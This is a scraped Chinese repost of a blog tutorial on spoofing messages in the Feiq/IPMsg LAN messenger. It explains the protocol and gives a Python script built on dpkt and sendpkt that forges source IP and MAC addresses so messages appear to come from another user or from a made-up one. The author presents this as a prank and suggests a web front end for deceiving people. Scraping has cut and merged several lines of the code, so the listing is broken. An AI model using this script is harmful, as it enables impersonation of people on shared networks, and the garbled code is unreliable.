首页 诗词 字典 板报 句子 名言 友答 励志 学校 网站地图
当前位置: 首页 > 教程频道 > 开发语言 > 编程 >

飞鸽归藏(转)

2012-08-30 
飞鸽收藏(转)我们常在局域网内用飞鸽进行沟通、文件传输。有天突发奇想,要是我能冒充某给人给另外一个人发送

飞鸽收藏(转)

我们常在局域网内用飞鸽进行沟通、文件传输。有天突发奇想,要是我能冒充某给人给另外一个人发送飞鸽消息,该多有趣?有了想法,就该去实现,不然就是空想了。。不过还真空想了段时间,但最后还是写出了个小程序,和大家分享下。?


要想冒充他人,首先得了解下飞鸽协议(见http://zhidao.baidu.com/question/41558223.html)。由于我们大多数人用的都是飞秋,所以就直接分析飞秋了。?

飞秋协议实际上飞鸽协议的扩展,比飞鸽稍微复杂点。首先看个简单的例子,我们以编程的方式,自己给自己发条消息。看代码和截图:?

Python代码??飞鸽归藏(转)
  1. >>>?import?socket??
  2. >>>?udp=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)??
  3. >>>?udp.connect(('localhost','1:100:flyingzl:flyingzl:32:纵我不往,子宁不嗣音?~~')??
  4. ?

    简单说明下代码:?

    飞鸽运行时,会监听UDP和TCP的2425端口,所以我们首先要和本地建立UDP连接,TCP连接一般用来发送文件等。?
    1:100:flyingzl:flyingzl:32:纵我不往,子宁不嗣音?~~是飞鸽的协议字符串,?
    1表示版本号,100标识包号,flyingzl表示用户名,第二个flyingzl表示主机名,32表示发送消息,后面的表示要发送的消息内容。

    这是飞鸽的协议,后面我们会看到飞鸽和飞秋又有所不同。?


    我们可以通过socket连机其他人的飞秋并给他们发送消息,但是通过socket发送出去的数据包会默认带上我们自己的ip地址和mac地址,怎么样才能修改这些数据包呢??

    有办法,windows上不是有wincap么,linux上不是有libnet么,它们都有python扩展,叫做sendpkt,直接调用就好了。关于怎么使用,可以看之前我的帖子?http://www.iteye.com/topic/600032#1696365?

    通过调用sendpkt,我们可以自己构造以太网数据包,自己定义源ip地址和源mac地址,这样就神不知鬼不觉地欺骗他人。。?

    现在的问题是:怎么构建以太网数据包。?

    由于飞秋发送消息是采用UDP协议,所以我们只需要构建一个UDP数据包,然后加上我们的内容就可以了。构建以太网数据包可以采用dpkt,非常方便。?

    现在,我们用wireshark来分析飞秋的协议。。打开个飞鸽,点击刷新,就能看到wireshark捕获的数据包:?


    飞鸽归藏(转)?


    飞鸽归藏(转)?

    飞秋上线时,首先会发送广播,告诉网内的其他飞秋,有新人上线,你们马上动起来,把他加入自己的好友,并问候他一下,这样,对方飞鸽里面就看到你的飞秋了。然后对方也会把自己的信息发给你,你的飞秋中也就有了他。?

    我们把截获的代码拷出来,就是 1_lbt4_10#32899#002481627512#0#0#0:1289671407:Administrator:MICROSO-697TGLD:6291457: 别看这个字符串很复杂,其实它就是飞鸽的扩展,也是分为几段。?

    1_lbt4_10#32899#002481627512#0#0#0 版本号,不过飞秋有很多自己的定制化,比如是否显示太阳等,32899就表示一个太阳和一个月亮,002481627512表示发送者的mac地址,后面的三个0不知道啥意思,有兴趣的童鞋好好分析下,和大家一起交流交流?

    1289671407 也就是包序号了。?

    Administrator是用户名?

    MICROSO-697TGLD 是主机名?

    6291457是命令字表示上线。还有一些其他的,比如288表示发送消息,6291457表示下线,还有晃屏啥的,大家有兴趣可以自己去分析。由于我只想发送消息,所以只需要修改下命令字为288即可。?

    下面就是一个发送消息的命令字:?

    1_lbt4_10#32899#002481627512#0#0#0:1289671407:Administrator:MICROSO-697TGLD:288:一日不见,如三月兮?
    Python代码??飞鸽归藏(转)
    1. >>>?import?socket??
    2. >>>?udp=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)??
    3. >>>?udp.connect(('localhost','1_lbt4_10#32899#002481627512#0#0#0:1289671407:flyingzl:flyingzl:288:一日不见,如三月兮')??
    4. ?


      细心的同学已经发现,这次截图和上次截图显示不一样,上次截图显示的是飞鸽图标,这次却是飞秋图标。呵呵。。因为我们发送的是飞秋命令字。。?


      有了飞秋命令字,我们就可以构建数据包,发送修改过的飞秋数据包了。。啥都不说了,上代码:?
      Python代码??飞鸽归藏(转)
      1. #coding=utf-8??
      2. import?dpkt??
      3. import?sendpkt??
      4. from?socket?import?inet_aton??
      5. from?time?import?strftime??
      6. import?socket??
      7. import?types??
      8. import?uuid??
      9. ??
      10. #本地网关MAC地址,可以通过如下方式获取:??
      11. #C:\Users\Administrator>arp?-a??
      12. #接口:?192.168.0.100?---?0xb??
      13. #??Internet?地址?????????物理地址?????????????????????????????????????????????类型??
      14. #??192.168.0.1????00-03-47-ca-e4-5c?????动态??
      15. MASK_MAC='1c-af-f7-c0-65-a8'??
      16. ??
      17. ??
      18. def?get_local_mac():??
      19. ????'''''?
      20. ????????????????获得本机Mac地址?
      21. ????'''??
      22. ????mac=uuid.uuid1().hex[-return?'-'.join([mac[(i-for?i?in?range(def?send_msg(kwargs):??
      23. ????'''''?
      24. ????????????????发送消息,kwargs参数为一个dict对象?
      25. ????'''??
      26. ????if?type(kwargs)?is?not?types.DictType:??
      27. ????????return??
      28. ????#本机ip地址??
      29. ????local_ip=kwargs.get('src',socket.gethostbyname(socket.gethostname()))??
      30. ????#转码后的源ip地址??
      31. ????src_ip=inet_aton(local_ip)??
      32. ????#转码后的目的ip地址??
      33. ????dst_ip=inet_aton(kwargs.get('dst'))??
      34. ????#本机mac地址??
      35. ????local_mac=kwargs.get('src_mac',get_local_mac())??
      36. ????#转码后的源mac地址??
      37. ????src_mac=pack_mac(local_mac)??
      38. ????#判断remote_ip和local_ip是否在同一个网段??
      39. ????#转码后的目的mac地址??
      40. ????dst_mac=pack_mac(kwargs.get('dst_mac'))\??
      41. ????????????if?trans(local_ip)==trans(kwargs.get('dst'))?else?pack_mac(MASK_MAC)??
      42. ????host=kwargs.get('host',socket.gethostname())??
      43. ????user=kwargs.get('user','User')??
      44. ????msg=kwargs.get('msg','Hello')??
      45. ??????
      46. ????#找到第一个网络端口,根据自己的情况修改??
      47. ????#安装了VirtualBox、VMWare或者有无线网卡的同学得自己修改下??
      48. ????device=sendpkt.findalldevs()[#飞鸽监听本地的UDP?2425端口?????
      49. ????udp=dpkt.udp.UDP(dport=#向飞鸽发送消息命令字??
      50. ????#6291458表示下线??
      51. ????#6291457表示上线??
      52. ????#288表示发送信息??
      53. ????#如果是飞秋,65664这个状态会在对方上显示为两个太阳??
      54. ????msg="1_lbt4_10#65664#%s#0#0#0:%s:%s:%s:288:%s"?\??
      55. ????????%(local_mac.replace('-',''),int(strftime('%m%d%H%M%S'))+"gbk")??
      56. ????udp.data+=msg??
      57. ????udp.ulen=len(udp)??
      58. ??????
      59. ????ip=dpkt.ip.IP(src=src_ip,dst=dst_ip,data=udp,p=dpkt.ip.IP_PROTO_UDP)??
      60. ????#重新计算ip的长度,不然消息发送不出去??
      61. ????ip.len=len(ip)??
      62. ??????
      63. ????ether=dpkt.ethernet.Ethernet(??
      64. ????????dst=dst_mac,??
      65. ????????src=src_mac,??
      66. ????????type=def?trans(ip,mask='255.255.255.0'):??
      67. ????'''''?
      68. ??????????判断两个ip地址是否在同一个网段?
      69. ????'''??
      70. ????str=[]??
      71. ????ip=ip.split(".")??
      72. ????mask=mask.split(".")??
      73. ????for?index,item?in?enumerate(ip):??
      74. ????????str.append(int(item)&int(mask[index]))??
      75. ????return?str??
      76. ??
      77. ??
      78. def?pack_mac(mac,pattern='-'):??
      79. ????'''''?
      80. ?????????网卡地址转为以太网Mac地址?
      81. ?????????例如将"08-00-27-ba-f7-e5"转为"\x08\x00'\xba\xf7\xe5"?
      82. ????'''??
      83. ????mac=mac.split(pattern.lower())??
      84. ????return?"".join([chr(int('0x'+x,for?x?in?mac])??
      85. ??
      86. if?__name__=="__main__":??
      87. ????s={??
      88. ???????'src':'192.168.0.106',??
      89. ???????'dst':'192.168.0.100',??
      90. ???????'src_mac':'00-15-AF-AE-E6-C0',??
      91. ???????#这个地址最好别写错,可以从飞鸽上看到好友的Mac地址??
      92. ???????'dst_mac':'00-24-81-62-75-12',??
      93. ???????'host':'哈哈',??
      94. ???????'user':'呵呵',??
      95. ???????'msg':'加班呀?'??
      96. ????}??
      97. ????send_msg(s)??



      代码我就不解释了,大家可以看里面的注释,写得比较明白。。我们来测试下,看看效果。。。从之前的图片上可以看到,我飞秋上就两个好友,我们现在要凭空造出来一个,他的ip是192.168.0.106,mac是00-15-AF-AE-E6-C0?
      运行后,可以看到这样的结果:?

      飞鸽归藏(转)?

      飞鸽归藏(转)?


      貌似是可以欺骗成功了。。不过如果要欺骗其他网段的飞秋好友,一定要修过代码中的MASK_MAC字段,大家用wireshark分析飞秋的UPD数据包就知道了。。。?


      如果大家有兴趣,可以自己做个图形化的界面,比如web页面,可以图形化的进行欺骗。。。那就有意思了,比如:?

      飞鸽归藏(转)?

      呵呵,就此告一段落。。。如果大家都挺关注,我就把code都发上来吧。。。。最后,希望本人能抛砖引玉,让大家发挥出刚强的创造力。。。祝各位周末愉快 :)?

热点排行